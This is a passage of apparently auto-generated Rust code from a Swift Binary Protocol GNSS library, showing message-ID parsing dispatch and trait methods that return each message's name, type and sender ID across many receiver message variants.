msg = MsgGroupMeta::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgGroupMeta(msg)) } 65294 => { let mut msg = MsgSolnMeta::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSolnMeta(msg)) } 65295 => { let mut msg = MsgSolnMetaDepA::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgSolnMetaDepA(msg)) } 65534 => { let mut msg = MsgStatusReport::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgStatusReport(msg)) } 65535 => { let mut msg = MsgHeartbeat::parse(payload)?; msg.set_sender_id(sender_id); Ok(SBP::MsgHeartbeat(msg)) } _ => Ok(SBP::Unknown(Unknown { msg_id: msg_id, sender_id: sender_id, payload: payload.to_vec(), })), } } } impl crate::SBPMessage for SBP { fn get_message_name(&self) -> &'static str { match self { SBP::MsgPrintDep(msg) => msg.get_message_name(), SBP::MsgTrackingStateDetailedDep(msg) => msg.get_message_name(), SBP::MsgTrackingStateDepB(msg) => msg.get_message_name(), SBP::MsgAcqResultDepB(msg) => msg.get_message_name(), SBP::MsgAcqResultDepA(msg) => msg.get_message_name(), SBP::MsgTrackingStateDepA(msg) => msg.get_message_name(), SBP::MsgThreadState(msg) => msg.get_message_name(), SBP::MsgUartStateDepa(msg) => msg.get_message_name(), SBP::MsgIarState(msg) => msg.get_message_name(), SBP::MsgEphemerisDepA(msg) => msg.get_message_name(), SBP::MsgMaskSatelliteDep(msg) => msg.get_message_name(), SBP::MsgTrackingIqDepA(msg) => msg.get_message_name(), SBP::MsgUartState(msg) => msg.get_message_name(), SBP::MsgAcqSvProfileDep(msg) => msg.get_message_name(), SBP::MsgAcqResultDepC(msg) => msg.get_message_name(), SBP::MsgTrackingStateDetailedDepA(msg) => msg.get_message_name(), SBP::MsgResetFilters(msg) => msg.get_message_name(), SBP::MsgInitBaseDep(msg) => msg.get_message_name(), SBP::MsgMaskSatellite(msg) => msg.get_message_name(), SBP::MsgTrackingIqDepB(msg) => msg.get_message_name(), SBP::MsgTrackingIq(msg) => msg.get_message_name(), SBP::MsgAcqSvProfile(msg) => msg.get_message_name(), SBP::MsgAcqResult(msg) => msg.get_message_name(), SBP::MsgTrackingState(msg) => msg.get_message_name(), SBP::MsgObsDepB(msg) => msg.get_message_name(), SBP::MsgBasePosLLH(msg) => msg.get_message_name(), SBP::MsgObsDepA(msg) => msg.get_message_name(), SBP::MsgEphemerisDepB(msg) => msg.get_message_name(), SBP::MsgEphemerisDepC(msg) => msg.get_message_name(), SBP::MsgBasePosECEF(msg) => msg.get_message_name(), SBP::MsgObsDepC(msg) => msg.get_message_name(), SBP::MsgObs(msg) => msg.get_message_name(), SBP::MsgSpecanDep(msg) => msg.get_message_name(), SBP::MsgSpecan(msg) => msg.get_message_name(), SBP::MsgMeasurementState(msg) => msg.get_message_name(), SBP::MsgSetTime(msg) => msg.get_message_name(), SBP::MsgAlmanac(msg) => msg.get_message_name(), SBP::MsgAlmanacGPSDep(msg) => msg.get_message_name(), SBP::MsgAlmanacGloDep(msg) => msg.get_message_name(), SBP::MsgAlmanacGPS(msg) => msg.get_message_name(), SBP::MsgAlmanacGlo(msg) => msg.get_message_name(), SBP::MsgGloBiases(msg) => msg.get_message_name(), SBP::MsgEphemerisDepD(msg) => msg.get_message_name(), SBP::MsgEphemerisGPSDepE(msg) => msg.get_message_name(), SBP::MsgEphemerisSbasDepA(msg) => msg.get_message_name(), SBP::MsgEphemerisGloDepA(msg) => msg.get_message_name(), SBP::MsgEphemerisSbasDepB(msg) => msg.get_message_name(), SBP::MsgEphemerisGloDepB(msg) => msg.get_message_name(), SBP::MsgEphemerisGPSDepF(msg) => msg.get_message_name(), SBP::MsgEphemerisGloDepC(msg) => msg.get_message_name(), SBP::MsgEphemerisGloDepD(msg) => msg.get_message_name(), SBP::MsgEphemerisBds(msg) => msg.get_message_name(), SBP::MsgEphemerisGPS(msg) => msg.get_message_name(), SBP::MsgEphemerisGlo(msg) => msg.get_message_name(), SBP::MsgEphemerisSbas(msg) => msg.get_message_name(), SBP::MsgEphemerisGal(msg) => msg.get_message_name(), SBP::MsgEphemerisQzss(msg) => msg.get_message_name(), SBP::MsgIono(msg) => msg.get_message_name(), SBP::MsgSvConfigurationGPSDep(msg) => msg.get_message_name(), SBP::MsgGroupDelayDepA(msg) => msg.get_message_name(), SBP::MsgGroupDelayDepB(msg) => msg.get_message_name(), SBP::MsgGroupDelay(msg) => msg.get_message_name(), SBP::MsgEphemerisGalDepA(msg) => msg.get_message_name(), SBP::MsgGnssCapb(msg) => msg.get_message_name(), SBP::MsgSvAzEl(msg) => msg.get_message_name(), SBP::MsgSettingsWrite(msg) => msg.get_message_name(), SBP::MsgSettingsSave(msg) => msg.get_message_name(), SBP::MsgSettingsReadByIndexReq(msg) => msg.get_message_name(), SBP::MsgFileioReadResp(msg) => msg.get_message_name(), SBP::MsgSettingsReadReq(msg) => msg.get_message_name(), SBP::MsgSettingsReadResp(msg) => msg.get_message_name(), SBP::MsgSettingsReadByIndexDone(msg) => msg.get_message_name(), SBP::MsgSettingsReadByIndexResp(msg) => msg.get_message_name(), SBP::MsgFileioReadReq(msg) => msg.get_message_name(), SBP::MsgFileioReadDirReq(msg) => msg.get_message_name(), SBP::MsgFileioReadDirResp(msg) => msg.get_message_name(), SBP::MsgFileioWriteResp(msg) => msg.get_message_name(), SBP::MsgFileioRemove(msg) => msg.get_message_name(), SBP::MsgFileioWriteReq(msg) => msg.get_message_name(), SBP::MsgSettingsRegister(msg) => msg.get_message_name(), SBP::MsgSettingsWriteResp(msg) => msg.get_message_name(), SBP::MsgBootloaderHandshakeDepA(msg) => msg.get_message_name(), SBP::MsgBootloaderJumpToApp(msg) => msg.get_message_name(), SBP::MsgResetDep(msg) => msg.get_message_name(), SBP::MsgBootloaderHandshakeReq(msg) => msg.get_message_name(), SBP::MsgBootloaderHandshakeResp(msg) => msg.get_message_name(), SBP::MsgDeviceMonitor(msg) => msg.get_message_name(), SBP::MsgReset(msg) => msg.get_message_name(), SBP::MsgCommandReq(msg) => msg.get_message_name(), SBP::MsgCommandResp(msg) => msg.get_message_name(), SBP::MsgNetworkStateReq(msg) => msg.get_message_name(), SBP::MsgNetworkStateResp(msg) => msg.get_message_name(), SBP::MsgCommandOutput(msg) => msg.get_message_name(), SBP::MsgNetworkBandwidthUsage(msg) => msg.get_message_name(), SBP::MsgCellModemStatus(msg) => msg.get_message_name(), SBP::MsgFrontEndGain(msg) => msg.get_message_name(), SBP::MsgCwResults(msg) => msg.get_message_name(), SBP::MsgCwStart(msg) => msg.get_message_name(), SBP::MsgNapDeviceDnaResp(msg) => msg.get_message_name(), SBP::MsgNapDeviceDnaReq(msg) => msg.get_message_name(), SBP::MsgFlashDone(msg) => msg.get_message_name(), SBP::MsgFlashReadResp(msg) => msg.get_message_name(), SBP::MsgFlashErase(msg) => msg.get_message_name(), SBP::MsgStmFlashLockSector(msg) => msg.get_message_name(), SBP::MsgStmFlashUnlockSector(msg) => msg.get_message_name(), SBP::MsgStmUniqueIdResp(msg) => msg.get_message_name(), SBP::MsgFlashProgram(msg) => msg.get_message_name(), SBP::MsgFlashReadReq(msg) => msg.get_message_name(), SBP::MsgStmUniqueIdReq(msg) => msg.get_message_name(), SBP::MsgM25FlashWriteStatus(msg) => msg.get_message_name(), SBP::MsgGPSTimeDepA(msg) => msg.get_message_name(), SBP::MsgExtEvent(msg) => msg.get_message_name(), SBP::MsgGPSTime(msg) => msg.get_message_name(), SBP::MsgUtcTime(msg) => msg.get_message_name(), SBP::MsgGPSTimeGnss(msg) => msg.get_message_name(), SBP::MsgUtcTimeGnss(msg) => msg.get_message_name(), SBP::MsgSettingsRegisterResp(msg) => msg.get_message_name(), SBP::MsgPosECEFDepA(msg) => msg.get_message_name(), SBP::MsgPosLLHDepA(msg) => msg.get_message_name(), SBP::MsgBaselineECEFDepA(msg) => msg.get_message_name(), SBP::MsgBaselineNEDDepA(msg) => msg.get_message_name(), SBP::MsgVelECEFDepA(msg) => msg.get_message_name(), SBP::MsgVelNEDDepA(msg) => msg.get_message_name(), SBP::MsgDopsDepA(msg) => msg.get_message_name(), SBP::MsgBaselineHeadingDepA(msg) => msg.get_message_name(), SBP::MsgDops(msg) => msg.get_message_name(), SBP::MsgPosECEF(msg) => msg.get_message_name(), SBP::MsgPosLLH(msg) => msg.get_message_name(), SBP::MsgBaselineECEF(msg) => msg.get_message_name(), SBP::MsgBaselineNED(msg) => msg.get_message_name(), SBP::MsgVelECEF(msg) => msg.get_message_name(), SBP::MsgVelNED(msg) => msg.get_message_name(), SBP::MsgBaselineHeading(msg) => msg.get_message_name(), SBP::MsgAgeCorrections(msg) => msg.get_message_name(), SBP::MsgPosLLHCov(msg) => msg.get_message_name(), SBP::MsgVelNEDCov(msg) => msg.get_message_name(), SBP::MsgVelBody(msg) => msg.get_message_name(), SBP::MsgPosECEFCov(msg) => msg.get_message_name(), SBP::MsgVelECEFCov(msg) => msg.get_message_name(), SBP::MsgProtectionLevelDepA(msg) => msg.get_message_name(), SBP::MsgProtectionLevel(msg) => msg.get_message_name(), SBP::MsgPosLLHAcc(msg) => msg.get_message_name(), SBP::MsgOrientQuat(msg) => msg.get_message_name(), SBP::MsgOrientEuler(msg) => msg.get_message_name(), SBP::MsgAngularRate(msg) => msg.get_message_name(), SBP::MsgPosECEFGnss(msg) => msg.get_message_name(), SBP::MsgPosLLHGnss(msg) => msg.get_message_name(), SBP::MsgVelECEFGnss(msg) => msg.get_message_name(), SBP::MsgVelNEDGnss(msg) => msg.get_message_name(), SBP::MsgPosLLHCovGnss(msg) => msg.get_message_name(), SBP::MsgVelNEDCovGnss(msg) => msg.get_message_name(), SBP::MsgPosECEFCovGnss(msg) => msg.get_message_name(), SBP::MsgVelECEFCovGnss(msg) => msg.get_message_name(), SBP::MsgNdbEvent(msg) => msg.get_message_name(), SBP::MsgLog(msg) => msg.get_message_name(), SBP::MsgFwd(msg) => msg.get_message_name(), SBP::MsgSsrOrbitClockDepA(msg) => msg.get_message_name(), SBP::MsgSsrOrbitClock(msg) => msg.get_message_name(), SBP::MsgSsrCodeBiases(msg) => msg.get_message_name(), SBP::MsgSsrPhaseBiases(msg) => msg.get_message_name(), SBP::MsgSsrStecCorrectionDepA(msg) => msg.get_message_name(), SBP::MsgSsrGriddedCorrectionNoStdDepA(msg) => msg.get_message_name(), SBP::MsgSsrGridDefinitionDepA(msg) => msg.get_message_name(), SBP::MsgSsrTileDefinition(msg) => msg.get_message_name(), SBP::MsgSsrGriddedCorrectionDepA(msg) => msg.get_message_name(), SBP::MsgSsrStecCorrection(msg) => msg.get_message_name(), SBP::MsgSsrGriddedCorrection(msg) => msg.get_message_name(), SBP::MsgSsrSatelliteApc(msg) => msg.get_message_name(), SBP::MsgOsr(msg) => msg.get_message_name(), SBP::MsgUserData(msg) => msg.get_message_name(), SBP::MsgImuRaw(msg) => msg.get_message_name(), SBP::MsgImuAux(msg) => msg.get_message_name(), SBP::MsgMagRaw(msg) => msg.get_message_name(), SBP::MsgOdometry(msg) => msg.get_message_name(), SBP::MsgWheeltick(msg) => msg.get_message_name(), SBP::MsgFileioConfigReq(msg) => msg.get_message_name(), SBP::MsgFileioConfigResp(msg) => msg.get_message_name(), SBP::MsgSbasRaw(msg) => msg.get_message_name(), SBP::MsgLinuxCpuStateDepA(msg) => msg.get_message_name(), SBP::MsgLinuxMemStateDepA(msg) => msg.get_message_name(), SBP::MsgLinuxSysStateDepA(msg) => msg.get_message_name(), SBP::MsgLinuxProcessSocketCounts(msg) => msg.get_message_name(), SBP::MsgLinuxProcessSocketQueues(msg) => msg.get_message_name(), SBP::MsgLinuxSocketUsage(msg) => msg.get_message_name(), SBP::MsgLinuxProcessFdCount(msg) => msg.get_message_name(), SBP::MsgLinuxProcessFdSummary(msg) => msg.get_message_name(), SBP::MsgLinuxCpuState(msg) => msg.get_message_name(), SBP::MsgLinuxMemState(msg) => msg.get_message_name(), SBP::MsgLinuxSysState(msg) => msg.get_message_name(), SBP::MsgStartup(msg) => msg.get_message_name(), SBP::MsgDgnssStatus(msg) => msg.get_message_name(), SBP::MsgInsStatus(msg) => msg.get_message_name(), SBP::MsgCsacTelemetry(msg) => msg.get_message_name(), SBP::MsgCsacTelemetryLabels(msg) => msg.get_message_name(), SBP::MsgInsUpdates(msg) => msg.get_message_name(), SBP::MsgGnssTimeOffset(msg) => msg.get_message_name(), SBP::MsgPpsTime(msg) => msg.get_message_name(), SBP::MsgGroupMeta(msg) => msg.get_message_name(), SBP::MsgSolnMeta(msg) => msg.get_message_name(), SBP::MsgSolnMetaDepA(msg) => msg.get_message_name(), SBP::MsgStatusReport(msg) => msg.get_message_name(), SBP::MsgHeartbeat(msg) => msg.get_message_name(), SBP::Unknown(msg) => msg.get_message_name(), } } fn get_message_type(&self) -> u16 { match self { SBP::MsgPrintDep(msg) => msg.get_message_type(), SBP::MsgTrackingStateDetailedDep(msg) => msg.get_message_type(), SBP::MsgTrackingStateDepB(msg) => msg.get_message_type(), SBP::MsgAcqResultDepB(msg) => msg.get_message_type(), SBP::MsgAcqResultDepA(msg) => msg.get_message_type(), SBP::MsgTrackingStateDepA(msg) => msg.get_message_type(), SBP::MsgThreadState(msg) => msg.get_message_type(), SBP::MsgUartStateDepa(msg) => msg.get_message_type(), SBP::MsgIarState(msg) => msg.get_message_type(), SBP::MsgEphemerisDepA(msg) => msg.get_message_type(), SBP::MsgMaskSatelliteDep(msg) => msg.get_message_type(), SBP::MsgTrackingIqDepA(msg) => msg.get_message_type(), SBP::MsgUartState(msg) => msg.get_message_type(), SBP::MsgAcqSvProfileDep(msg) => msg.get_message_type(), SBP::MsgAcqResultDepC(msg) => msg.get_message_type(), SBP::MsgTrackingStateDetailedDepA(msg) => msg.get_message_type(), SBP::MsgResetFilters(msg) => msg.get_message_type(), SBP::MsgInitBaseDep(msg) => msg.get_message_type(), SBP::MsgMaskSatellite(msg) => msg.get_message_type(), SBP::MsgTrackingIqDepB(msg) => msg.get_message_type(), SBP::MsgTrackingIq(msg) => msg.get_message_type(), SBP::MsgAcqSvProfile(msg) => msg.get_message_type(), SBP::MsgAcqResult(msg) => msg.get_message_type(), SBP::MsgTrackingState(msg) => msg.get_message_type(), SBP::MsgObsDepB(msg) => msg.get_message_type(), SBP::MsgBasePosLLH(msg) => msg.get_message_type(), SBP::MsgObsDepA(msg) => msg.get_message_type(), SBP::MsgEphemerisDepB(msg) => msg.get_message_type(), SBP::MsgEphemerisDepC(msg) => msg.get_message_type(), SBP::MsgBasePosECEF(msg) => msg.get_message_type(), SBP::MsgObsDepC(msg) => msg.get_message_type(), SBP::MsgObs(msg) => msg.get_message_type(), SBP::MsgSpecanDep(msg) => msg.get_message_type(), SBP::MsgSpecan(msg) => msg.get_message_type(), SBP::MsgMeasurementState(msg) => msg.get_message_type(), SBP::MsgSetTime(msg) => msg.get_message_type(), SBP::MsgAlmanac(msg) => msg.get_message_type(), SBP::MsgAlmanacGPSDep(msg) => msg.get_message_type(), SBP::MsgAlmanacGloDep(msg) => msg.get_message_type(), SBP::MsgAlmanacGPS(msg) => msg.get_message_type(), SBP::MsgAlmanacGlo(msg) => msg.get_message_type(), SBP::MsgGloBiases(msg) => msg.get_message_type(), SBP::MsgEphemerisDepD(msg) => msg.get_message_type(), SBP::MsgEphemerisGPSDepE(msg) => msg.get_message_type(), SBP::MsgEphemerisSbasDepA(msg) => msg.get_message_type(), SBP::MsgEphemerisGloDepA(msg) => msg.get_message_type(), SBP::MsgEphemerisSbasDepB(msg) => msg.get_message_type(), SBP::MsgEphemerisGloDepB(msg) => msg.get_message_type(), SBP::MsgEphemerisGPSDepF(msg) => msg.get_message_type(), SBP::MsgEphemerisGloDepC(msg) => msg.get_message_type(), SBP::MsgEphemerisGloDepD(msg) => msg.get_message_type(), SBP::MsgEphemerisBds(msg) => msg.get_message_type(), SBP::MsgEphemerisGPS(msg) => msg.get_message_type(), SBP::MsgEphemerisGlo(msg) => msg.get_message_type(), SBP::MsgEphemerisSbas(msg) => msg.get_message_type(), SBP::MsgEphemerisGal(msg) => msg.get_message_type(), SBP::MsgEphemerisQzss(msg) => msg.get_message_type(), SBP::MsgIono(msg) => msg.get_message_type(), SBP::MsgSvConfigurationGPSDep(msg) => msg.get_message_type(), SBP::MsgGroupDelayDepA(msg) => msg.get_message_type(), SBP::MsgGroupDelayDepB(msg) => msg.get_message_type(), SBP::MsgGroupDelay(msg) => msg.get_message_type(), SBP::MsgEphemerisGalDepA(msg) => msg.get_message_type(), SBP::MsgGnssCapb(msg) => msg.get_message_type(), SBP::MsgSvAzEl(msg) => msg.get_message_type(), SBP::MsgSettingsWrite(msg) => msg.get_message_type(), SBP::MsgSettingsSave(msg) => msg.get_message_type(), SBP::MsgSettingsReadByIndexReq(msg) => msg.get_message_type(), SBP::MsgFileioReadResp(msg) => msg.get_message_type(), SBP::MsgSettingsReadReq(msg) => msg.get_message_type(), SBP::MsgSettingsReadResp(msg) => msg.get_message_type(), SBP::MsgSettingsReadByIndexDone(msg) => msg.get_message_type(), SBP::MsgSettingsReadByIndexResp(msg) => msg.get_message_type(), SBP::MsgFileioReadReq(msg) => msg.get_message_type(), SBP::MsgFileioReadDirReq(msg) => msg.get_message_type(), SBP::MsgFileioReadDirResp(msg) => msg.get_message_type(), SBP::MsgFileioWriteResp(msg) => msg.get_message_type(), SBP::MsgFileioRemove(msg) => msg.get_message_type(), SBP::MsgFileioWriteReq(msg) => msg.get_message_type(), SBP::MsgSettingsRegister(msg) => msg.get_message_type(), SBP::MsgSettingsWriteResp(msg) => msg.get_message_type(), SBP::MsgBootloaderHandshakeDepA(msg) => msg.get_message_type(), SBP::MsgBootloaderJumpToApp(msg) => msg.get_message_type(), SBP::MsgResetDep(msg) => msg.get_message_type(), SBP::MsgBootloaderHandshakeReq(msg) => msg.get_message_type(), SBP::MsgBootloaderHandshakeResp(msg) => msg.get_message_type(), SBP::MsgDeviceMonitor(msg) => msg.get_message_type(), SBP::MsgReset(msg) => msg.get_message_type(), SBP::MsgCommandReq(msg) => msg.get_message_type(), SBP::MsgCommandResp(msg) => msg.get_message_type(), SBP::MsgNetworkStateReq(msg) => msg.get_message_type(), SBP::MsgNetworkStateResp(msg) => msg.get_message_type(), SBP::MsgCommandOutput(msg) => msg.get_message_type(), SBP::MsgNetworkBandwidthUsage(msg) => msg.get_message_type(), SBP::MsgCellModemStatus(msg) => msg.get_message_type(), SBP::MsgFrontEndGain(msg) => msg.get_message_type(), SBP::MsgCwResults(msg) => msg.get_message_type(), SBP::MsgCwStart(msg) => msg.get_message_type(), SBP::MsgNapDeviceDnaResp(msg) => msg.get_message_type(), SBP::MsgNapDeviceDnaReq(msg) => msg.get_message_type(), SBP::MsgFlashDone(msg) => msg.get_message_type(), SBP::MsgFlashReadResp(msg) => msg.get_message_type(), SBP::MsgFlashErase(msg) => msg.get_message_type(), SBP::MsgStmFlashLockSector(msg) => msg.get_message_type(), SBP::MsgStmFlashUnlockSector(msg) => msg.get_message_type(), SBP::MsgStmUniqueIdResp(msg) => msg.get_message_type(), SBP::MsgFlashProgram(msg) => msg.get_message_type(), SBP::MsgFlashReadReq(msg) => msg.get_message_type(), SBP::MsgStmUniqueIdReq(msg) => msg.get_message_type(), SBP::MsgM25FlashWriteStatus(msg) => msg.get_message_type(), SBP::MsgGPSTimeDepA(msg) => msg.get_message_type(), SBP::MsgExtEvent(msg) => msg.get_message_type(), SBP::MsgGPSTime(msg) => msg.get_message_type(), SBP::MsgUtcTime(msg) => msg.get_message_type(), SBP::MsgGPSTimeGnss(msg) => msg.get_message_type(), SBP::MsgUtcTimeGnss(msg) => msg.get_message_type(), SBP::MsgSettingsRegisterResp(msg) => msg.get_message_type(), SBP::MsgPosECEFDepA(msg) => msg.get_message_type(), SBP::MsgPosLLHDepA(msg) => msg.get_message_type(), SBP::MsgBaselineECEFDepA(msg) => msg.get_message_type(), SBP::MsgBaselineNEDDepA(msg) => msg.get_message_type(), SBP::MsgVelECEFDepA(msg) => msg.get_message_type(), SBP::MsgVelNEDDepA(msg) => msg.get_message_type(), SBP::MsgDopsDepA(msg) => msg.get_message_type(), SBP::MsgBaselineHeadingDepA(msg) => msg.get_message_type(), SBP::MsgDops(msg) => msg.get_message_type(), SBP::MsgPosECEF(msg) => msg.get_message_type(), SBP::MsgPosLLH(msg) => msg.get_message_type(), SBP::MsgBaselineECEF(msg) => msg.get_message_type(), SBP::MsgBaselineNED(msg) => msg.get_message_type(), SBP::MsgVelECEF(msg) => msg.get_message_type(), SBP::MsgVelNED(msg) => msg.get_message_type(), SBP::MsgBaselineHeading(msg) => msg.get_message_type(), SBP::MsgAgeCorrections(msg) => msg.get_message_type(), SBP::MsgPosLLHCov(msg) => msg.get_message_type(), SBP::MsgVelNEDCov(msg) => msg.get_message_type(), SBP::MsgVelBody(msg) => msg.get_message_type(), SBP::MsgPosECEFCov(msg) => msg.get_message_type(), SBP::MsgVelECEFCov(msg) => msg.get_message_type(), SBP::MsgProtectionLevelDepA(msg) => msg.get_message_type(), SBP::MsgProtectionLevel(msg) => msg.get_message_type(), SBP::MsgPosLLHAcc(msg) => msg.get_message_type(), SBP::MsgOrientQuat(msg) => msg.get_message_type(), SBP::MsgOrientEuler(msg) => msg.get_message_type(), SBP::MsgAngularRate(msg) => msg.get_message_type(), SBP::MsgPosECEFGnss(msg) => msg.get_message_type(), SBP::MsgPosLLHGnss(msg) => msg.get_message_type(), SBP::MsgVelECEFGnss(msg) => msg.get_message_type(), SBP::MsgVelNEDGnss(msg) => msg.get_message_type(), SBP::MsgPosLLHCovGnss(msg) => msg.get_message_type(), SBP::MsgVelNEDCovGnss(msg) => msg.get_message_type(), SBP::MsgPosECEFCovGnss(msg) => msg.get_message_type(), SBP::MsgVelECEFCovGnss(msg) => msg.get_message_type(), SBP::MsgNdbEvent(msg) => msg.get_message_type(), SBP::MsgLog(msg) => msg.get_message_type(), SBP::MsgFwd(msg) => msg.get_message_type(), SBP::MsgSsrOrbitClockDepA(msg) => msg.get_message_type(), SBP::MsgSsrOrbitClock(msg) => msg.get_message_type(), SBP::MsgSsrCodeBiases(msg) => msg.get_message_type(), SBP::MsgSsrPhaseBiases(msg) => msg.get_message_type(), SBP::MsgSsrStecCorrectionDepA(msg) => msg.get_message_type(), SBP::MsgSsrGriddedCorrectionNoStdDepA(msg) => msg.get_message_type(), SBP::MsgSsrGridDefinitionDepA(msg) => msg.get_message_type(), SBP::MsgSsrTileDefinition(msg) => msg.get_message_type(), SBP::MsgSsrGriddedCorrectionDepA(msg) => msg.get_message_type(), SBP::MsgSsrStecCorrection(msg) => msg.get_message_type(), SBP::MsgSsrGriddedCorrection(msg) => msg.get_message_type(), SBP::MsgSsrSatelliteApc(msg) => msg.get_message_type(), SBP::MsgOsr(msg) => msg.get_message_type(), SBP::MsgUserData(msg) => msg.get_message_type(), SBP::MsgImuRaw(msg) => msg.get_message_type(), SBP::MsgImuAux(msg) => msg.get_message_type(), SBP::MsgMagRaw(msg) => msg.get_message_type(), SBP::MsgOdometry(msg) => msg.get_message_type(), SBP::MsgWheeltick(msg) => msg.get_message_type(), SBP::MsgFileioConfigReq(msg) => msg.get_message_type(), SBP::MsgFileioConfigResp(msg) => msg.get_message_type(), SBP::MsgSbasRaw(msg) => msg.get_message_type(), SBP::MsgLinuxCpuStateDepA(msg) => msg.get_message_type(), SBP::MsgLinuxMemStateDepA(msg) => msg.get_message_type(), SBP::MsgLinuxSysStateDepA(msg) => msg.get_message_type(), SBP::MsgLinuxProcessSocketCounts(msg) => msg.get_message_type(), SBP::MsgLinuxProcessSocketQueues(msg) => msg.get_message_type(), SBP::MsgLinuxSocketUsage(msg) => msg.get_message_type(), SBP::MsgLinuxProcessFdCount(msg) => msg.get_message_type(), SBP::MsgLinuxProcessFdSummary(msg) => msg.get_message_type(), SBP::MsgLinuxCpuState(msg) => msg.get_message_type(), SBP::MsgLinuxMemState(msg) => msg.get_message_type(), SBP::MsgLinuxSysState(msg) => msg.get_message_type(), SBP::MsgStartup(msg) => msg.get_message_type(), SBP::MsgDgnssStatus(msg) => msg.get_message_type(), SBP::MsgInsStatus(msg) => msg.get_message_type(), SBP::MsgCsacTelemetry(msg) => msg.get_message_type(), SBP::MsgCsacTelemetryLabels(msg) => msg.get_message_type(), SBP::MsgInsUpdates(msg) => msg.get_message_type(), SBP::MsgGnssTimeOffset(msg) => msg.get_message_type(), SBP::MsgPpsTime(msg) => msg.get_message_type(), SBP::MsgGroupMeta(msg) => msg.get_message_type(), SBP::MsgSolnMeta(msg) => msg.get_message_type(), SBP::MsgSolnMetaDepA(msg) => msg.get_message_type(), SBP::MsgStatusReport(msg) => msg.get_message_type(), SBP::MsgHeartbeat(msg) => msg.get_message_type(), SBP::Unknown(msg) => msg.get_message_type(), } } fn get_sender_id(&self) -> Option<u16> { match self { SBP::MsgPrintDep(msg) => msg.get_sender_id(), SBP::MsgTrackingStateDetailedDep(msg) => msg.get_sender_id(), SBP::MsgTrackingStateDepB(msg) => msg.get_sender_id(), SBP::MsgAcqResultDepB(msg) => msg.get_sender_id(), SBP::MsgAcqResultDepA(msg) => msg.get_sender_id(), SBP::MsgTrackingStateDepA(msg) => msg.get_sender_id(), SBP::MsgThreadState(msg) => msg.get_sender_id(), SBP::MsgUartStateDepa(msg) => msg.get_sender_id(), SBP::MsgIarState(msg) => msg.get_sender_id(), SBP::MsgEphemerisDepA(msg) => msg.get_sender_id(), SBP::MsgMaskSatelliteDep(msg) => msg.get_sender_id(), SBP::MsgTrackingIqDepA(msg) => msg.get_sender_id(), SBP::MsgUartState(msg) => msg.get_sender_id(), SBP::MsgAcqSvProfileDep(msg) => msg.get_sender_id(), SBP::MsgAcqResultDepC(msg) => msg.get_sender_id(), SBP::MsgTrackingStateDetailedDepA(msg) => msg.get_sender_id(), SBP::MsgResetFilters(msg) => msg.get_sender_id(), SBP::MsgInitBaseDep(msg) => msg.get_sender_id(), SBP::MsgMaskSatellite(msg) => msg.get_sender_id(), SBP::MsgTrackingIqDepB(msg) => msg.get_sender_id(), SBP::MsgTrackingIq(msg) => msg.get_sender_id(), SBP::MsgAcqSvProfile(msg) => msg.get_sender_id(), SBP::MsgAcqResult(msg) => msg.get_sender_id(), SBP::MsgTrackingState(msg) => msg.get_sender_id(), SBP::MsgObsDepB(msg) => msg.get_sender_id(), SBP::MsgBasePosLLH(msg) => msg.get_sender_id(), SBP::MsgObsDepA(msg) => msg.get_sender_id(), SBP::MsgEphemerisDepB(msg) => msg.get_sender_id(), SBP::MsgEphemerisDepC(msg) => msg.get_sender_id(), SBP::MsgBasePosECEF(msg) => msg.get_sender_id(), SBP::MsgObsDepC(msg) => msg.get_sender_id(), SBP::MsgObs(msg) => msg.get_sender_id(), SBP::MsgSpecanDep(msg) => msg.get_sender_id(), SBP::MsgSpecan(msg) => msg.get_sender_id(), SBP::MsgMeasurementState(msg) => msg.get_sender_id(), SBP::MsgSetTime(msg) => msg.get_sender_id(), SBP::MsgAlmanac(msg) => msg.get_sender_id(), SBP::MsgAlmanacGPSDep(msg) => msg.get_sender_id(), SBP::MsgAlmanacGloDep(msg) => msg.get_sender_id(), SBP::MsgAlmanacGPS(msg) => msg.get_sender_id(), SBP::MsgAlmanacGlo(msg) => msg.get_sender_id(), SBP::MsgGloBiases(msg) => msg.get_sender_id(), SBP::MsgEphemerisDepD(msg) => msg.get_sender_id(), SBP::MsgEphemerisGPSDepE(msg) => msg.get_sender_id(), SBP::MsgEphemerisSbasDepA(msg) => msg.get_sender_id(), SBP::MsgEphemerisGloDepA(msg) => msg.get_sender_id(), SBP::MsgEphemerisSbasDepB(msg) => msg.get_sender_id(), SBP::MsgEphemerisGloDepB(msg) => msg.get_sender_id(), SBP::MsgEphemerisGPSDepF(msg) => msg.get_sender_id(), SBP::MsgEphemerisGloDepC(msg) => msg.get_sender_id(), SBP::MsgEphemerisGloDepD(msg) => msg.get_sender_id(), SBP::MsgEphemerisBds(msg) => msg.get_sender_id(), SBP::MsgEphemerisGPS(msg) => msg.get_sender_id(), SBP::MsgEphemerisGlo(msg) => msg.get_sender_id(), SBP::MsgEphemerisSbas(msg) => msg.get_sender_id(), SBP::MsgEphemerisGal(msg) => msg.get_sender_id(), SBP::MsgEphemerisQzss(msg) => msg.get_sender_id(), SBP::MsgIono(msg) => msg.get_sender_id(), SBP::MsgSvConfigurationGPSDep(msg) => msg.get_sender_id(), SBP::MsgGroupDelayDepA(msg) => msg.get_sender_id(), SBP::MsgGroupDelayDepB(msg) => msg.get_sender_id(), SBP::MsgGroupDelay(msg) => msg.get_sender_id(), SBP::MsgEphemerisGalDepA(msg) => msg.get_sender_id(), SBP::MsgGnssCapb(msg) => msg.get_sender_id(), SBP::MsgSvAzEl(msg) => msg.get_sender_id(), SBP::MsgSettingsWrite(msg) => msg.get_sender_id(), SBP::MsgSettingsSave(msg) => msg.get_sender_id(), SBP::MsgSettingsReadByIndexReq(msg) => msg.get_sender_id(), SBP::MsgFileioReadResp(msg) => msg.get_sender_id(), SBP::MsgSettingsReadReq(msg) => msg.get_sender_id(), SBP::MsgSettingsReadResp(msg) => msg.get_sender_id(), SBP::MsgSettingsReadByIndexDone(msg) => msg.get_sender_id(), SBP::MsgSettingsReadByIndexResp(msg) => msg.get_sender_id(), SBP::MsgFileioReadReq(msg) => msg.get_sender_id(), SBP::MsgFileioReadDirReq(msg) => msg.get_sender_id(), SBP::MsgFileioReadDirResp(msg) => msg.get_sender_id(), SBP::MsgFileioWriteResp(msg) => msg.get_sender_id(), SBP::MsgFileioRemove(msg) => msg.get_sender_id(), SBP::MsgFileioWriteReq(msg) => msg.get_sender_id(), SBP::MsgSettingsRegister(msg) => 